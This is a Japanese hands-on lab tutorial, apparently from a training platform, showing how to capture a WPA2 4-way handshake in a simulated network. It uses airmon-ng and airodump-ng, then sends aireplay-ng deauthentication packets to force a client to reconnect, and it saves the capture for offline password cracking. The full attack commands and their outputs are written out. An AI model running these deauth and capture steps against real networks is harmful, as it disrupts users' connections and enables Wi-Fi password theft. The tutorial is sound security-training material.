はじめに
WPA/WPA2 の 4 ウェイハンドシェイクは、現代の Wi-Fi セキュリティにおける重要なコンポーネントです。これは、クライアントとアクセスポイント (AP) が、事前共有キー (Wi-Fi パスワード) を直接送信することなく、それを知っていることを証明するプロセスです。このハンドシェイクをキャプチャすることは、Wi-Fi パスワードを復元するためのブルートフォース攻撃または辞書攻撃の最初のステップです。
この実験では、強力な Aircrack-ng ツールスイートを使用してこのキャプチャを実行する方法を学びます。airmon-ng を使用してワイヤレスカードをモニターモードにし、airodump-ng を使用して特定のネットワークをスキャンおよびターゲットにし、aireplay-ng を使用してクライアントに再認証を強制し、それによってキャプチャするためのハンドシェイクを生成します。
この実験は、実際のシナリオをシミュレートします。実験環境内で練習するために、ワイヤレスインターフェイス wlan0 とターゲットネットワークが提供されます。
ワイヤレスアダプターをモニターモードにする
このステップでは、ネットワークトラフィックのキャプチャのためにワイヤレスアダプターを準備します。デフォルトでは、ワイヤレスアダプターは「マネージドモード」で動作します。これは、自分宛てのトラフィックにのみ注意を払うことを意味します。空中のすべての Wi-Fi トラフィックをキャプチャするには、それを「モニターモード」に切り替える必要があります。このために airmon-ng ツールを使用します。
まず、ワイヤレスインターフェイスの名前を確認しましょう。ターミナルを開き、iwconfig コマンドを実行します。
iwconfig
インターフェイスがリストされているはずです。通常は wlan0 という名前です。
lo no wireless extensions.
eth0 no wireless extensions.
wlan0 IEEE 802.11 ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
次に、airmon-ng を使用して wlan0 インターフェイスでモニターモードを開始します。このコマンドは、キャプチャを妨げる可能性のある一部のネットワークプロセスを終了させる場合があります。
sudo airmon-ng start wlan0
出力は、モニターモードが有効になったことを確認します。通常、モニター用に wlan0mon という名前の新しい仮想インターフェイスが作成されます。
Found 2 processes that could cause trouble.
Kill them using 'airmon-ng check kill' before bringing up the interface in monitor mode.
PID Name
591 wpa_supplicant
668 dhclient
PHY Interface Driver Chipset
phy0 wlan0 ath9k Atheros Communications Inc. AR9271 802.11n
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
再度 iwconfig を実行して、新しいインターフェイス wlan0mon がモニターモードになっていることを確認できます。
iwconfig wlan0mon
出力には Mode:Monitor と表示されるはずです。
wlan0mon IEEE 802.11 Mode:Monitor Frequency:2.457 GHz Tx-Power=20 dBm
Retry short limit:7 RTS thr:off Fragment thr:off
Power Management:off
ターゲットの BSSID とチャンネルを見つけるために airodump-ng を実行する
このステップでは、airodump-ng を使用して無線をスキャンし、ターゲットネットワークを特定します。airodump-ng は、802.11 フレームをキャプチャし、近くのアクセスポイントと接続されているクライアントを発見するための強力なツールです。
インターフェイス wlan0mon がモニターモードになったので、スキャンを開始できます。ターミナルで次のコマンドを実行します。
sudo airodump-ng wlan0mon
ターミナルには、airodump-ng が検出できるすべての Wi-Fi ネットワークのリストが表示されます。表示は 2 つの部分に分かれています。上部はアクセスポイント (AP) のリスト、下部は接続されているクライアント (ステーション) のリストです。
AP の主要な列を分解しましょう。
- BSSID: アクセスポイントの MAC アドレスです。これはユニークなハードウェア識別子です。
- CH: ネットワークが動作しているチャンネルです。
- ESSID: Wi-Fi ネットワークの人間が読める名前です (例:"MyHomeWiFi")。
以下は、表示される可能性のある例です。
CH 6 ][ Elapsed: 3 s ][ 2023-10-27 10:30
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -30 10 0 0 6 54e WPA2 CCMP PSK LabEx_WiFi
C8:D3:FF:A1:B2:C3 -65 8 0 0 1 54e WPA2 CCMP PSK AnotherWiFi
BSSID STATION PWR Rate Lost Frames Probe
この実験では、ターゲットネットワークは LabEx_WiFi です。上記の出力から、その BSSID (00:11:22:33:44:55) と CH (6) を特定してください。次のステップでこれらが必要になります。
BSSID とチャンネルをメモしたら、ターミナルで Ctrl+C を押してスキャンプロセスを停止します。
特定の BSSID とチャンネルをターゲットにするために airodump-ng を実行する
このステップでは、ターゲットネットワークのみにキャプチャを集中させます。前のステップで行ったような一般的なスキャンを実行すると、ワイヤレスカードが「チャンネルホッピング」するため、ハンドシェイクが発生したときにそれを逃してしまう可能性があります。キャプチャを成功させるために、airodump-ng にターゲットのチャンネルにロックオンし、その BSSID からのトラフィックのみをリッスンするように指示します。
また、-w フラグを使用して、キャプチャされたパケットをファイルに書き込みます。このファイルにハンドシェイクが含まれます。
前のステップで特定した BSSID とチャンネル (00:11:22:33:44:55 と 6) を使用して、次のコマンドを構築します。出力ファイルの名前を handshake_capture とします。
sudo airodump-ng --bssid 00:11:22:33:44:55 -c 6 -w handshake_capture wlan0mon
このコマンドを実行すると、airodump-ng の表示が変更されます。今後は LabEx_WiFi ネットワークの情報のみが表示されます。また、それに接続されているクライアント (STATION) のリストも表示されます。
CH 6 ][ Elapsed: 10 s ][ 2023-10-27 10:32 ][ WPA handshake: ...
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 25 10 1 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1- 1 0 15
重要: このターミナルを実行したままにしておきます。キャプチャを続けるために必要です。次のステップのために、新しいターミナルウィンドウを開く必要があります。これは、環境のアプリケーションドックでターミナルアイコンを再度クリックすることで実行できます。
aireplay-ng を使用してクライアントを認証解除する
このステップでは、ハンドシェイクを積極的に発生させます。ハンドシェイクは、クライアントがアクセスポイントに接続または再接続したときにのみ発生します。クライアントが既に接続されている場合、自然に切断されるのを待つことができますが、これには時間がかかる可能性があります。「認証解除攻撃」を使用してクライアントを切断させる方が積極的なアプローチです。
aireplay-ng を使用して、クライアントに特別に細工された認証解除パケットを送信し、AP によって切断されたと信じ込ませます。クライアントは自動的に再接続しようとし、airodump-ng プロセス (別のターミナルで実行中) がキャプチャを待っている WPA ハンドシェイクを生成します。
最初のターミナルウィンドウ (ターゲットの airodump-ng を実行しているウィンドウ) を確認してください。STATION 列の下に、接続されているクライアントの MAC アドレスが表示されます。この実験では、クライアントの MAC アドレスは AA:BB:CC:DD:EE:FF であると仮定します。
次に、新しいターミナルウィンドウで、次の aireplay-ng コマンドを実行します。
--deauth 5: これは 5 つの認証解除パケットを送信します。通常、小さなバーストで十分です。-a 00:11:22:33:44:55: これはターゲットのアクセスポイントの BSSID です。-c AA:BB:CC:DD:EE:FF: これはターゲットにしているクライアントの MAC アドレスです。
sudo aireplay-ng --deauth 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon
パケットを送信していることを確認する aireplay-ng からの出力が表示されます。
10:35:10 Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:11 Sending 64 directed DeAuths. STMAC: [AA:BB:CC:DD:EE:FF] [ 5|62 ACKs]
これで、キャプチャが成功したかどうかを確認しましょう。
airodump-ng ウィンドウでハンドシェイクキャプチャを確認する
この最終ステップでは、WPA ハンドシェイクを正常にキャプチャできたことを確認します。先ほど実行した認証解除攻撃により、クライアントは再接続し、airodump-ng はその結果のハンドシェイクをキャプチャしたはずです。
焦点を 最初のターミナルウィンドウ に戻してください。airodump-ng が実行されており、LabEx_WiFi をターゲットにしているウィンドウです。
airodump-ng の表示の右上隅を見てください。キャプチャが成功した場合、[ WPA handshake: 00:11:22:33:44:55 ] というメッセージが表示されます。
CH 6 ][ Elapsed: 45 s ][ 2023-10-27 10:35 ][ WPA handshake: 00:11:22:33:44:55
BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:11:22:33:44:55 -32 100 80 115 8 6 54e WPA2 CCMP PSK LabEx_WiFi
BSSID STATION PWR Rate Lost Frames Probe
00:11:22:33:44:55 AA:BB:CC:DD:EE:FF -40 1-11 0 98
このメッセージが表示されたら、成功です!4 ウェイハンドシェイクを正常にキャプチャしました。
これで、各ターミナルウィンドウで Ctrl+C を押して、両方のプロセスを停止できます。
ハンドシェイクを含むキャプチャされたデータは、現在のディレクトリのファイルに保存されました。ls -l コマンドで一覧表示できます。
ls -l
handshake_capture で始まるいくつかのファイル、特に handshake_capture-01.cap が表示されるはずです。
-rw-r--r-- 1 root root 452 Oct 27 10:36 handshake_capture-01.cap
-rw-r--r-- 1 root root 1234 Oct 27 10:36 handshake_capture-01.csv
...
この .cap ファイルが成果物です。これにはハンドシェイクが含まれており、オフラインでのパスワードクラッキング試行のために aircrack-ng や hashcat のようなツールで使用できます。
まとめ
この実験を完了したこと、おめでとうございます!Wi-Fi ペネトレーションテストにおける基本的なテクニックの 1 つを正常に実行しました。
この実験では、以下の方法を学びました。
airmon-ngを使用してワイヤレスアダプターをモニターモードにする方法。airodump-ngを使用して近くのワイヤレスネットワークをスキャンし、ターゲットを特定する方法。- 特定の BSSID とチャネルに
airodump-ngを集中させてターゲットキャプチャの準備をし、結果をファイルに保存する方法。 aireplay-ngを使用して認証解除攻撃を実行し、クライアントを再接続させる方法。airodump-ngの出力で WPA ハンドシェイクのキャプチャを確認する方法。
生成された .cap ファイルには、貴重なハンドシェイクデータが含まれています。実際のエンゲージメントにおける次の論理的なステップは、このファイルを使用して Wi-Fi パスワードのクラッキングを試みることですが、これは別の実験のトピックです。これで、この重要なデータのキャプチャを手動で行うプロセスについて、確かな理解を得ることができました。
